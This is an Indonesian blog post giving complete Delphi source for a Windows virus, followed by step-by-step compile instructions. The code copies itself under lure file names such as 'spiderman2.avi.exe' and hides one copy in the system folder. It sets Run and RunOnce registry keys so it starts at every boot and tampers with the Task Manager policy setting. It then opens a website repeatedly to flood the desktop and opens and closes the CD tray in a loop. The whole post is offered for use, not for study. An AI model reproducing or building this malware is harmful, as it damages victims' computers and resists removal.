ATTENTION FIRST::
Ini virus jenis flooding dengan membuka halaman web secara terus menerus sampe menuhin cache momory + usil dengan buka tutup door dari cd/dvd-room kamu

Kodenya sbb:

unit Unit1;

interface
{Deklarasiin library ShellAPI,Registry yang dipakai dimasukkan di USES ini}
{GUNANYA BIAR KITA BISA NGOTAK-ATIK REGISTRY}
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Shellapi,registry, Mmsystem, StdCtrls, ExtCtrls, jpeg;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);


private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
{{$R MySoundRes.RES}


procedure TForm1.FormCreate(Sender: TObject);
{DEKLARASI VARIABEL}
var
regis: TRegistry;
reg1:TRegistry;
reg2:TRegistry;
windir:array[0..255] of char;
sysdir:array[0..255] of char;


begin
{MEMBUAT FORM INVISIBILE}
Application.ShowMainForm := false;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
try
{BUAT FOLDER SEBAGAI ROOM'NYA VIRUS(FILE INDUK DISINI)}
mkdir(sysdir+'\runfold');
except
end;
try
{CUMA MENDUPLIKASI DIRI AJA DENGAN NAMA2 FILE SEPERTI DIBAWAH INI}
{TAPI KALO DIKLIK YA, VIRUSNYA AKTIF LAGI, BUAT NAMA YG MENARIK AJA, TERSERAH}
CopyFile(pchar(application.ExeName),PChar(windir+'\try now.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\elvis2005.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\my way.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\sinatra.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\burn dvd.exe'),true);
CopyFile(pchar(application.ExeName),PChar(windir+'\spiderman2.avi.exe'),true);
CopyFile(pchar(application.ExeName),PChar(sysdir+'\runfold\-NET-SERVICES-.exe'),true);
except
end;
end;

begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
{TAPI DI INVISIBLE}
SetFileAttributes(PChar(sysdir+'\runfold\-NET-SERVICES-.exe'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;

{MEN-DISABLE TASK MANAGER}
{VIRUS INI GA MAU DIMATIIN PAKE END TASKNYA TASK MENAGER}
{GIMANA NGGA, LA MAU MASUK AJA GA BISA}
try
{BUATNYA DI CURRENT USER, JADI KAMU MASIH BISA SELAMAT KALO MASUK SAFE MODE}
{KARENA TASK MANAGER DI imam MASIH BISA DIBUKA}
regis := TRegistry.Create;
regis.RootKey := HKEY_CURRENT_USER;
regis.OpenKey('Software', True);
regis.OpenKey('Microsoft', True);
regis.OpenKey('Windows', True);
regis.OpenKey('CurrentVersion', True);
regis.OpenKey('Policies', True);
regis.OpenKey('System', True);
regis.WriteString('DisableTaskMgr', '0'); {VALUE 0=NONAKTIF 1=AKTIF}
regis.CloseKey;
except
end;

{BUAT VIRUS INI DILOAD TIAP KALI KOMPUTER NYALA}
{YAITU DENGAN BUAT KEY DI REGISTER MEMANFAATKAN RUN(MSCONFIG-STARTUP) DAN RUNONCE}
{SUPAYA PROGRAM INI DILOAD TIAP KALI KOMPUTER NYALA}
begin
try
getsystemdirectory(sysdir,sizeof(sysdir));
reg1 := TRegistry.Create;
reg1.RootKey := HKEY_LOCAL_MACHINE;
if reg1.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True) then
reg1.WriteString('.NET.',sysdir+'\runfold\-NET-SERVICES-.exe');
reg1.CloseKey;

reg2 := TRegistry.Create;
reg2.RootKey := HKEY_LOCAL_MACHINE;
if reg2.OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',True) then
reg2.WriteString('.NET.',sysdir+'\runfold\-NET-SERVICES-.exe');
reg2.CloseKey;
except
end;
end;
end;

{PADA PROCEDURE DIBAWAH INI VIRUS DIKIT USIL YAITU DENGAN SEMBARI KITA}
{PUSING LIAT FLOODING YANG TERJADI DIDESKTOP, VIRUS INI JUGA BIKIN}
{CD-ROM KITA OPEN CLOSED TAK TERKENDALI..BISA2 SAMPE JEBOL}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
try
ShellExecute(0, 'open', 'www.muchlisworhkhouse.blogspot.com', nil, nil, SW_NORMAL);
mciSendString('Set cdaudio door open', nil, 0, handle);
except
end;
timer2.Enabled:= true;
timer1.Enabled:= false;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
try
mciSendString('Set cdaudio door closed', nil, 0, handle);
except
end;
timer1.Enabled:= true;
timer2.Enabled:= false;
end;

end.


Membuat file compile'annya:
1.Masuk delphi (aku pake Delphi 7) copy listing ini, yang auto create dari delphi kamu hapus semua
2.buat 1 project trus ga usah ada yg kamu ubah2,kecuali kamu add 2 buah timer
3.sebelum kamu add, kamu quote dlu yang di deklarasi Type,klo udah baru di unquote lagi
4.km compile trus dapet dah, file .exe virusnya..
5.selesai, bisa langsung diaktifkan
6.klo ada yg ga jelas tanya aja

Moga bermanfaat!
Diposkan oleh Borland7

0 komentar:

Visit the Site
MARVEL and SPIDER-MAN: TM & 2007 Marvel Characters, Inc. Motion Picture © 2007 Columbia Pictures Industries, Inc. All Rights Reserved. 2007 Sony Pictures Digital Inc. All rights reserved. blogger templates